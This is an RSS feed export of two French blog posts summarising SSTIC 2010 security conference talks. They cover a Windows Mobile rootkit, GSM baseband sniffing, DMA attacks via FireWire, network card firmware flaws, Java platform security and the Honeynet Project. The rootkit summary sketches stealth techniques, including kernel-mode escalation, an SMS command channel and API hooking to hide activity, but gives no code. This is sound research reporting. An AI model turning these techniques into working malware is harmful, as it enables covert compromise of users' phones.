<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet title="XSL formatting" type="text/xsl" href="http://www.protocol-hacking.org/feed/rss2/xslt" ?><rss version="2.0"
  xmlns:dc="http://purl.org/dc/elements/1.1/"
  xmlns:wfw="http://wellformedweb.org/CommentAPI/"
  xmlns:content="http://purl.org/rss/1.0/modules/content/"
  xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
  <title>Making network protocols go crazy</title>
  <link>http://www.protocol-hacking.org/</link>
  <atom:link href="http://www.protocol-hacking.org/feed/rss2" rel="self" type="application/rss+xml"/>
  <description></description>
  <language>fr</language>
  <pubDate>Fri, 03 Sep 2010 13:46:21 +0200</pubDate>
  <copyright>Ce blog représente les opinions de son auteur et non les opinions de son employeur</copyright>
  <docs>http://blogs.law.harvard.edu/tech/rss</docs>
  <generator>Dotclear</generator>
  
    
  <item>
    <title>Compte-rendu SSTIC 2010 - jour 3</title>
    <link>http://www.protocol-hacking.org/post/2010/06/15/Compte-rendu-SSTIC-2010-jour-3</link>
    <guid isPermaLink="false">urn:md5:f09404156ba874c34fc6d7d9c79270fb</guid>
    <pubDate>Tue, 15 Jun 2010 13:11:00 +0200</pubDate>
    <dc:creator>GR</dc:creator>
        <category>Compte-rendu</category>
        <category>conférence</category><category>SSTIC</category>    
    <description>    &lt;h3&gt;Vendredi 11 Juin&lt;/h3&gt;


&lt;p&gt;Bon, là, je me suis levé un peu tard (social event oblige). Donc, veuillez m'excuser pour le manque de détails concernant les présentations du matin ^^ Mais comme je suis un mec sympa, je vais faire de la pub pour le blog d'&lt;a href=&quot;http://www.n0secure.org/&quot; hreflang=&quot;fr&quot;&gt;Erwan&lt;/a&gt;, et mettre des liens vers ses notes pour les présentations que j'ai manqué.&lt;/p&gt;


&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;&amp;nbsp;: Et pourtant, le CO a fait un effort cette année, puisque la première conférence ne débute pas à 9h :)&lt;/p&gt;


&lt;h2&gt;09:45 - Trusted Computing&amp;nbsp;: Limitations actuelles et perspectives&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Frédéric Guihery&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;Frédéric Remi&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;Goulven Guiheux&lt;/strong&gt;&lt;/p&gt;


&lt;p&gt;&lt;a href=&quot;http://www.n0secure.org/2010/06/vendredi-matin-1ere-conf.html&quot; hreflang=&quot;fr&quot;&gt;1ère conférence&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;10:15 - JBOSS AS: exploitation et sécurisation&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Renaud Dubourguais&lt;/strong&gt;&lt;/p&gt;


&lt;p&gt;&lt;a href=&quot;http://www.n0secure.org/2010/06/sstic-vendredi-matin-2eme-conf.html&quot; hreflang=&quot;fr&quot;&gt;2ème conférence&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;11:15 - Audit d'applications .NET complexes - le cas Microsoft OCS 2007&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Nicolas RUFF&lt;/strong&gt;&lt;/p&gt;


&lt;p&gt;&lt;a href=&quot;http://www.n0secure.org/2010/06/vendredi-matin-3eme-conf.html&quot; hreflang=&quot;fr&quot;&gt;3ème conférence&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;11:45 - Conférence invitée&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Mathieu Baudet&lt;/strong&gt;&lt;/p&gt;


&lt;p&gt;&lt;a href=&quot;http://www.n0secure.org/2010/06/sstic-vendredi-matin-4eme-conf.html&quot; hreflang=&quot;fr&quot;&gt;4ème conférence&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;14:15 - PoC(k)ET, les détails d'un rootkit pour Windows Mobile 6&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Cedric Halbronn (Sogeti/ESEC)&lt;/strong&gt;&lt;/p&gt;


&lt;p&gt;L'orateur commence par nous expliquer quels sont les composants classiques des rootkits&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;avoir une méthode injection&lt;/li&gt;
&lt;li&gt;implanter une backdoor avec un module de communication&lt;/li&gt;
&lt;li&gt;se protéger sur la machine compromise (furtivité, redémarrage)&lt;/li&gt;
&lt;li&gt;fournir des services&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Contraintes spécifiques aux téléphones mobiles&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;c'est un système embarqué, il faut bien gérer la mémoire et la batterie&lt;/li&gt;
&lt;li&gt;c'est un environnement mobile, hétérogène, avec des méthodes connectivités nombreuses
&lt;ul&gt;
&lt;li&gt;il est connecté par intermittence, avec ou sans connexion à Internet&lt;/li&gt;
&lt;li&gt;il possède de multiples canaux de communications (SMS, Internet, USB, WiFi...)&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;se baser sur les services présent (longue liste)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Pourquoi avoir choisi Windows Mobile pour développer ce rootkit&amp;nbsp;?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;les API Windows Mobile sont les même que sur un PC Windows&lt;/li&gt;
&lt;li&gt;très répandu&lt;/li&gt;
&lt;li&gt;véritable OS basé sur Windows&lt;/li&gt;
&lt;li&gt;c'est du Windows ^^&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Le composant d'injection développé ici est par l'insertion d'une SD-card. On peut imaginer aussi en utilisant des méthodes &quot;social engineering&quot; en envoyant un lien Web dans un SMS (lien pointant vers un binaire Windows Mobile). Il est aussi possible d'utiliser un format spécifique des SMS (nommé WAP Push). Il s'agit d'un SMS au format XML
(méthode utilisée par le malware Interceptor pour BlackBerry).&lt;/p&gt;


&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;&amp;nbsp;: certains téléphones exécutent sans confirmation des binaires contenus dans un WAP Push. Mais si l'application n'est pas signée, il y a un popup de confirmation visible à l'utilisateur.&lt;/p&gt;


&lt;p&gt;Le rootkit a accès à toutes les API. La première chose à faire est de passer en mode noyau (fonction &quot;SetKMode&quot;). Le modèle de sécurité de Windows Mobile étant pour le moins faible, un processus utilisateur peut appeler cette fonction sans problème. Et vlan, on passe en mode noyau :)&lt;/p&gt;


&lt;p&gt;Ensuite, le composant de backdoor doit initialiser la communication TCP/IP depuis le mobile vers l'extérieur (à cause du NAT que la plupart des opérateurs implémentent). Une autre possibilité serait l'utilisation de SMS comme canal de communication (avec une limitation à 140 octets, et le fait que les messages ne doivent pas être visibles à l'utilisateur). C'est l'option retenue pour les tests du rootkit décrit ici.&lt;/p&gt;


&lt;p&gt;Un point cruciale lors du développement de ce genre de code malicieux&amp;nbsp;: la gestion de la batterie. En effet, si la batterie se vide plus vite que l'accoutumée, l'utilisateur se rendra compte de quelque chose (toujours le cas BlackBerry). Il faut donc se brancher sur un composant existant dans le téléphone (API hooking, en prenant les commandes AT par exemple) pour se débarrasser de la gestion de la batterie. Aussi, hooker les APIs d'envoi/réception de SMS permet de masquer la fenêtre qui apparait à ce moment là.&lt;/p&gt;


&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;&amp;nbsp;: un smartphone, c'est 2 CPUs&amp;nbsp;: 1 pour le BaseBand et 1 pour l'OS.&lt;/p&gt;


&lt;p&gt;Démo. Outil en interface Web bien flashy pour communiquer avec le rootkit.
A la réception d'un SMS, la fonction hookée répond à un ordre donné plus tôt. rootkit pas détectable par les anti-virus actuels.&lt;/p&gt;


&lt;h2&gt;14:45 - Projet OsmocomBB&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Harald Welte&lt;/strong&gt;&lt;/p&gt;


&lt;p&gt;Au niveau de la communication téléphone vers BTS (ou BSC&amp;nbsp;? voir le fichier pdf pour le schéma d'architecture général), le chiffrement est fait à la couche physique (Layer1). Le processeur BaseBand des téléphones à son propre système d'exploitation (firmware)&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;il lui manque les fonctions de sécurité modernes comme une pile non-exécutable, la randomisation des adresses ...&lt;/li&gt;
&lt;li&gt;il est écrit en C et assembleur&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Description du chipset BaseBand complète :&lt;br /&gt;
&lt;a href=&quot;http://laforge.gnumonks.org/papers/gsm_phone-anatomy-latest.pdf&quot; hreflang=&quot;en&quot;&gt;GSM Phone Anatomy&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;&lt;strong&gt;OsmocomBB&lt;/strong&gt;&amp;nbsp;: Open Source MObile COMunication, BaseBand&lt;/p&gt;


&lt;p&gt;Démo. L'architecture du software permet de sniffer le réseau GSM depuis un PC standard :) Le fonctionnement est assez simple (mais surement pas l'implémentation). On branche le téléphone sur un port série de l'ordinateur, et le téléphone détecte se branchement au démarrage et démarre sur le firmware qui le souhaite. Ce firmware implémente les fonctions BaseBand, et en plus exporte une interface réseau classique pour pouvoir facilement brancher un Wireshark dessus (par exemple). Du coup, un PC peut servir à développer les fonctions réseau GSM de manière beaucoup plus simple.&lt;/p&gt;


&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;&amp;nbsp;: il existe aussi la couche UMA&amp;nbsp;: c'est du GSM over IP&lt;/p&gt;


&lt;h2&gt;15:30 - Conférence invitée&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Patrick Pailloux (Directeur de l'ANSSI)&lt;/strong&gt;&lt;/p&gt;


&lt;p&gt;Discussion à propos des menaces géo-politiques. L'ANSSI à pour mission principale la cyber-défense. Ce qui inclue la protection&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;des infrastructures des hôpitaux&lt;/li&gt;
&lt;li&gt;des systèmes de distribution d'énergie&lt;/li&gt;
&lt;li&gt;de la sécurité des machines à voter&lt;/li&gt;
&lt;li&gt;les infrastructures critiques (nouveau, depuis environ 1 an)&lt;/li&gt;
&lt;li&gt;...&lt;/li&gt;
&lt;li&gt;large spectre de métiers à couvrir.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ce travail doit se faire avec les homologues internationaux, ce qui ajoute encore une difficulté.&lt;/p&gt;


&lt;p&gt;Dans le cadre des missions de l'ANSSI, les armes ne sont pas du coté de l'État, mais du coté des citoyens. Les armes prolifèrent donc du coté des citoyens, et l'État est quelque peu désarmé. Ainsi, il est difficile d'identifier les acteurs des attaques informatiques.&lt;/p&gt;


&lt;p&gt;Un exemple de challenge&amp;nbsp;: il y aura un jour la possibilité de voter sur Internet (au minimum pour les résidents Français à l'étranger). L'ANSSI se doit de trouver une solution suffisamment sécurisée en terme de technique. Autre exemple, le bracelet des prisonniers qui ne doit pas être falsifiable. En même temps, l'ANSSI doit vérifier le niveau de sécurité des infrastructures gouvernementales, et communiquer pour former les citoyens et les industriels (c'est un enouveauté, dans le passé l'agence était plutôt secrète).&lt;/p&gt;


&lt;p&gt;L'ANSSI est sensé être l'organisme qui sait répondre à des questions techniques en matière de sécurité au niveau de l'état (parlement, députés, ...).&lt;/p&gt;


&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;&amp;nbsp;: certains appareils d'IRM fonctionnent sous Windows. Et rien n'avait été prévu pour installer des mises à jour de sécurité. En travaillant avec les hôpitaux, l'ANSSI à permis d'établir une certaine pression envers les fabricants d'IRM pour qu'a l'avenir ces appareils puissent être mis à jour.&lt;/p&gt;


&lt;h3&gt;Fin du SSTIC 2010&lt;/h3&gt;


&lt;p&gt;Rendez-vous l'année prochaine les enfants.&lt;/p&gt;</description>
    
    
    
          <comments>http://www.protocol-hacking.org/post/2010/06/15/Compte-rendu-SSTIC-2010-jour-3#comment-form</comments>
      <wfw:comment>http://www.protocol-hacking.org/post/2010/06/15/Compte-rendu-SSTIC-2010-jour-3#comment-form</wfw:comment>
      <wfw:commentRss>http://www.protocol-hacking.org/feed/rss2/comments/18</wfw:commentRss>
      </item>
    
  <item>
    <title>Compte-rendu SSTIC 2010 - jour 2</title>
    <link>http://www.protocol-hacking.org/post/2010/06/15/Compte-rendu-SSTIC-2010-jour-2</link>
    <guid isPermaLink="false">urn:md5:2fbf9e854d518fd197d0afef3881eb79</guid>
    <pubDate>Tue, 15 Jun 2010 10:45:00 +0200</pubDate>
    <dc:creator>GR</dc:creator>
        <category>Compte-rendu</category>
        <category>conférence</category><category>SSTIC</category>    
    <description>    &lt;h3&gt;Jeudi 10 Juin&lt;/h3&gt;


&lt;p&gt;&quot;Ca recommence comme avant&quot;.&lt;br /&gt;
&quot;Pas tout à fait comme avant&quot;.&lt;br /&gt;
-- Matrix&lt;/p&gt;


&lt;h2&gt;09:00 - Présentation des résultats du challenge de reverse du SSTIC&lt;/h2&gt;


&lt;p&gt;Présentation du classement et remise des prix.&lt;/p&gt;


&lt;p&gt;Présentation d'une solution par Arnaud Ebalard &lt;a href=&quot;http://natisbad.org&quot; hreflang=&quot;fr&quot;&gt;NatIsBad&lt;/a&gt;&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;décompression de l'archive par 7zip&lt;/li&gt;
&lt;li&gt;reconstruction de 2 fichiers .apk en analysant le format du fichier extrait&lt;/li&gt;
&lt;li&gt;récupération d'un premier message signé (PGP) et chiffré (format spécial)
&lt;ul&gt;
&lt;li&gt;chiffrement de type décalage (ROT)&lt;/li&gt;
&lt;li&gt;répondre aux énigmes pour trouver des coordonnées GPS&lt;/li&gt;
&lt;li&gt;un mot de passe est contenu dans une section chiffrée (PGP)&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Autre méthode&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;reverse de 2 fichiers .smali&lt;/li&gt;
&lt;li&gt;collecte des infos des coordonnées&lt;/li&gt;
&lt;li&gt;collecte du mot de passe&lt;/li&gt;
&lt;li&gt;reverse de la fonction &quot;deriverclef()&quot; contenue dans la bibliothèque &lt;strong&gt;libhello-jni.so&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;bug dans l'utilisation de la fonction cryptographique&amp;nbsp;: seuls les 2 premiers caractères du mot de passe sont pris en compte (résultat&amp;nbsp;: O7)&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;on peut ensuite déchiffrer un binaire qui affiche une adresse email (résultat final)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;09:45 - Sécurité de la plate-forme d'exécution Java&amp;nbsp;: limites et propositions d'améliorations&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Christian Brunette&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;David Pichardie&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;Frédéric Guihery&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;Goulven Guiheux&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;Guillaume Hiet&lt;/strong&gt;&lt;/p&gt;


&lt;p&gt;Travail collaboratif entre AMOSSYS, l'INRIA et SILICOM.&lt;/p&gt;


&lt;p&gt;Constats&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;l'implémentation de la plateforme Java de plus en plus complexe.&lt;/li&gt;
&lt;li&gt;des vulnérabilités récurrentes.&lt;/li&gt;
&lt;li&gt;un mécanisme de contrôle d'accès peu utilisé.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Une question&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Java est-il adéquat pour le développement d'applications de sécurité&amp;nbsp;?
&lt;ul&gt;
&lt;li&gt;Voir les résultats d'évaluation de la sécurité Java par l'&lt;a href=&quot;http://www.ssi.gouv.fr/site_article226.html&quot; hreflang=&quot;fr&quot;&gt;ANSSI&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;L'architecture Java semble simple sur le papier&amp;nbsp;; mais elle est plus compliquée en pratique (beaucoup de composants ne passant pas par la JVM pour accomplir des fonctions bas niveau). Il existe 3 vérifications de sécurité lors de l'exécution d'une application Java&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;à la compilation (JAVAC)&lt;/li&gt;
&lt;li&gt;au chargement des classes (ByteCode Verifier&amp;nbsp;: BCV)&lt;/li&gt;
&lt;li&gt;à l'exécution (HIT)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Il existe d'autre mécanismes de sécurité&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;un contrôle d'accès orienté code (JPSA)&lt;/li&gt;
&lt;li&gt;un contrôle d'accès orienté identité (JAAS)&lt;/li&gt;
&lt;li&gt;chargement des classes en utilisant du cloisonnement&lt;/li&gt;
&lt;li&gt;vérification de la signature et de l'intégrité des classes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Le composant JPSA est écrit en Java (d'où la nécessité de bien protéger cette partie). Mais la plupart du temps, ce composant est soit inutilisé, soit mal utilisé par les développeurs. Il existe également un certain nombre de problèmes ou de questions à propos de la JVM elle-même&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;rémanence des données confidentielles&lt;/li&gt;
&lt;li&gt;échappement de la vérification de ByteCode (BCV escape)&lt;/li&gt;
&lt;li&gt;quelle confiance dans l'implémentation (&quot;évaluabilité&quot;)
&lt;ul&gt;
&lt;li&gt;les propriétés sont-elles effectivement assurées dans l'implémentation de la JVM&amp;nbsp;?&lt;/li&gt;
&lt;li&gt;suppression de certaines vérifications&amp;nbsp;?&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;pas ou peu d'intégration avec les protections OS&lt;/li&gt;
&lt;li&gt;pas de contrôle d'accès au sein-même de la JVM&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Propositions d'amélioration (pour le langage Java &quot;at large&quot;)&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;guide de développement&lt;/li&gt;
&lt;li&gt;guide de configuration et de déploiement&lt;/li&gt;
&lt;li&gt;auditer, rechercher des failles&lt;/li&gt;
&lt;li&gt;limiter la surface d'attaque&lt;/li&gt;
&lt;li&gt;appliquer le contrôle d'accès&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Propositions d'amélioration (pour la JVM):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;augmenter la confiance dans le module d'exécution&lt;/li&gt;
&lt;li&gt;proposer un contrôle fin de la durée de vie des données confidentielles&lt;/li&gt;
&lt;li&gt;améliorer l'intégration avec les mécanismes de sécurité de l'OS&lt;/li&gt;
&lt;li&gt;implémenter le contrôle d'accès au sein de la JVM&lt;/li&gt;
&lt;li&gt;étendre les vérification faites par le BCV&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Suivi d'un exemple de modification de code pour appliquer ces propositions&amp;nbsp;: éviter la fuite d'objets partiellement initialisés.&lt;/p&gt;


&lt;p&gt;Conclusion&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;langage non-parfait, mais au moins pensé dès le départ pour la sécurité&lt;/li&gt;
&lt;li&gt;mais certaines classes d'attaques sont non-couvertes de base (injection SQL, par exemple)&lt;/li&gt;
&lt;li&gt;des faiblesses dans l'architecture et l'implémentation&lt;/li&gt;
&lt;li&gt;faire un effort dans la sécurisation de la bibliothèque de base&lt;/li&gt;
&lt;li&gt;augmenter la confiance dans la JVM (trouver le bon compromis performance vs sécurité)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;10:15 - Analyse de l'efficacité du service fourni par une I/O MMU&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Eric LACOMBE&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;Fernand LONE SANG&lt;/strong&gt;&lt;/p&gt;


&lt;p&gt;L'I/O MMU est un mécanisme de sécurité permettant de contrer les attaques DMA. C'est une gestion du contrôle d'accès à la mémoire pour les périphériques. Cela fonctionne en ajoutant une couche de virtualisation sur les adresses mémoires (mapping virtuel). Les attaques DMA sont réalisées&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;soit depuis le CPU&lt;/li&gt;
&lt;li&gt;soit depuis un contrôleur d'E/S&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;DMA permet un accès directe à la mémoire&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;transfert de données entre contrôleur d'E/S et mémoire pour décharger le CPU.&lt;/li&gt;
&lt;li&gt;l'I/O MMU s'intercale entre les contrôleurs d'E/S et la mémoire pour contrôler l'accès (limiter les zones mémoires accessibles)&lt;/li&gt;
&lt;li&gt;fait de la translation d'adresses mémoire&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Intel VT-d implémente l'I/O MMU.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;description de l'architecture matériel (MMU, RAM, chipset, DRHU, ...).&lt;/li&gt;
&lt;li&gt;c'est de la virtualisation de requête DMA.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Vecteurs d'attaques contre l'I/O MMU&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;modification de la configuration d'une DRHU&lt;/li&gt;
&lt;li&gt;altération des tables de pages pour donner accès à de nouvelles pages physiques&lt;/li&gt;
&lt;li&gt;altération des tables de contexte&lt;/li&gt;
&lt;li&gt;altération du registre d'une DRHU (plus difficile à détecter que les autres altérations).&lt;/li&gt;
&lt;li&gt;modification du source-id (spoofing du contrôleur d'E/S)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Exemple de scénario d'attaque&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;permettre une écoute réseau par exploitation d'une vulnérabilité matérielle&lt;/li&gt;
&lt;li&gt;mise en œuvre de l'attaque&amp;nbsp;:
&lt;ul&gt;
&lt;li&gt;FireWire et Ethernet partagent une même identité (accès aux mêmes régions mémoire)&lt;/li&gt;
&lt;li&gt;du coup, le contrôleur FireWire peut modifier les trames Ethernet reçues !!&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;utilisation d'un iPod et de &quot;social engineering&quot; pour rejouer une attaque &quot;pré-enregistrée&quot; lorsqu'il est branché sur le port FireWire de la victime (nécessite le même hardware que l'attaquant, l'attaque étant spécifique au matériel réseau).&lt;/li&gt;
&lt;li&gt;l'attaque utilise FireWire pour modifier à la volée les trames ARP de la carte Ethernet victime, et ainsi rediriger le trafic (&quot;ARP poisonning&quot;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Demo. La vidéo tourne sur la victime, il branche l'iPod. Elle s'arrête, et vient tourner sur la machine de l'attaquant. C'est beau.&lt;/p&gt;


&lt;p&gt;Conclusion&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;la solution qu'est l'I/O MMU possède des limites, la principale étant le partage d'identité (source-id) entre différents contrôleurs d'E/S&lt;/li&gt;
&lt;li&gt;nécessite une confiance entre contrôleurs&lt;/li&gt;
&lt;li&gt;ne contrôle pas les échanges internes au &quot;southbridge&quot;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Recommandation&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;utilisation conjointe de VT-d et VT-x, TxT (TxT protège contre l'attaque de modifications sur les tables de contextes et de pages puisqu'elles sont stockées dans la mémoire principale du système)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;11:15 - Quelques éléments en matière de sécurité des cartes réseau&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Guillaume Valadon&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;Loic Duflot&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;Olivier Levillain&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;Yves-Alexis Perez&lt;/strong&gt;&lt;/p&gt;


&lt;p&gt;Cette présentation est la même (sauf la démo) que celle donnée à &lt;a href=&quot;http://cansecwest.com/&quot; hreflang=&quot;en&quot;&gt;CanSecWest 2010&lt;/a&gt;. J'en ai déjà fait un résumé sur ce &lt;a href=&quot;http://www.protocol-hacking.org/post/2010/04/06/Compte-rendu-CanSecWest-2010-jour-1&quot; hreflang=&quot;fr&quot;&gt;blog&lt;/a&gt;. Mais bon, comme j'aime bien, j'en refait un autre (plus court) ici.&lt;/p&gt;


&lt;p&gt;Les cartes réseaux sont devenues très complexes (plusieurs processeurs, firmware, contrôleurs, opérations d'administration à distance, ...). Exploiter les cartes réseaux pour&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;empoisonnement ARP, DNS&lt;/li&gt;
&lt;li&gt;SSLStrip&lt;/li&gt;
&lt;li&gt;bref, tout type d'attaque réseau est imaginable&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Cas d'étude&amp;nbsp;: &quot;Broadcom NetXtreme&quot;. Lors de celle-ci&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;une vulnérabilité a été mise en évidence&lt;/li&gt;
&lt;li&gt;elle est exploitable de la même manière quelque soit l'OS (&lt;a href=&quot;http://www.ssi.gouv.fr/trustnetworkcard&quot; hreflang=&quot;fr&quot;&gt;lien&lt;/a&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Cette carte possède un processeur MIPS qui accède à toute la mémoire de la carte, au SMBus, aux paquets entrant/sortant, à l'espace de configuration PCI. La carte possède des fonctions ASF (envoi d'alertes via le réseau) et doit fonctionner même si plus rien ne marche. Elle supporte aussi les &quot;RMCP Security Extensions&quot; (RSP), ainsi que le support de l'authentification et du contrôle d'intégrité. RMCP utilise un protocole tournant sur le port 664/UDP (toutes les requêtes à destination de ce port sont interceptées par la carte réseau, aucune application sur l'OS ne pourront l'utiliser). L'ASF &quot;legacy&quot; utilise lui le port 623/UDP (même punition, l'OS ne verra aucun paquet à destination de ce port).&lt;/p&gt;


&lt;p&gt;L'ASF/RMCP est très simple sur UDP. Mais il y a aussi AMT et IPMI qui sont plus complexes, et sur TCP. Dans le cas d'AMT et IPMI, la carte réseau doit implémenter une pile TCP ... risque d'autres vulnérabilités accru.&lt;/p&gt;


&lt;p&gt;Démo de compromission à distance.&lt;/p&gt;


&lt;h2&gt;12:00 - Honeynet Project en 2010&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Sebastien Tricaud - PicViz labs (conférence invitée)&lt;/strong&gt;&lt;/p&gt;


&lt;p&gt;Buts du projet&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;améliorer la sécurité d'Internet à aucun cout pour le public (tout un programme)&lt;/li&gt;
&lt;li&gt;fournir des documents et des outils&lt;/li&gt;
&lt;li&gt;organiser des challenges&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;L'orateur s'attache ensuite à la description de l'organisation du projet. De manière simplifiée, il est découpé en chapitres&amp;nbsp;; un chapitre représentant un pays (Canada, USA, Mexique, Brésil, France, Allemagne, Espagne, Norvège, Chine, Iran, ...)&lt;/p&gt;


&lt;p&gt;Le projet est orienté sur la recherche, et non sur l'opérationnel. Objectifs&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;piéger nos ennemis&lt;/li&gt;
&lt;li&gt;analyser leurs activités&lt;/li&gt;
&lt;li&gt;se renseigner&lt;/li&gt;
&lt;li&gt;discuter et échanger&lt;/li&gt;
&lt;li&gt;fournir des informations telles que&amp;nbsp;:
&lt;ul&gt;
&lt;li&gt;papiers&lt;/li&gt;
&lt;li&gt;KYE (Know Your Enemies)&lt;/li&gt;
&lt;li&gt;KYT (Know Your Tools)&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ces informations sont accessibles via différents média&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;site &lt;a href=&quot;http://www.honeynet.org/&quot; hreflang=&quot;en&quot;&gt;Web&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;blog (des différents acteurs)&lt;/li&gt;
&lt;li&gt;twitter&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Exemple de réalisation&amp;nbsp;: travail avec Fyodor (&quot;nmap&quot;) pour détecter facilement le vers &quot;Conficker&quot; (travail issu de la recherche du chapitre Allemand). Un script NSE a été écrit pour que tout utilisateur de &quot;nmap&quot; puisse scanner son réseau afin de détecter les machines compromises. Quelques outils&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Glastopf&lt;/li&gt;
&lt;li&gt;Google Hack Honeypot&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Les honeypots s'articules autours de trois grandes catégories&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;serveur/client&lt;/li&gt;
&lt;li&gt;haute/basse interaction&lt;/li&gt;
&lt;li&gt;analyse&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;D'autres outils&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Nepenthes&amp;nbsp;: émulateur de vulnérabilités connues.&lt;/li&gt;
&lt;li&gt;PhoneyC&amp;nbsp;: honeypot client écrit en Python
&lt;ul&gt;
&lt;li&gt;interaction avec des pages Web, téléchargement, analyse, alerte (&lt;a href=&quot;http://code.google.com/p/phoneyc&quot; hreflang=&quot;en&quot;&gt;PhoneyC&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

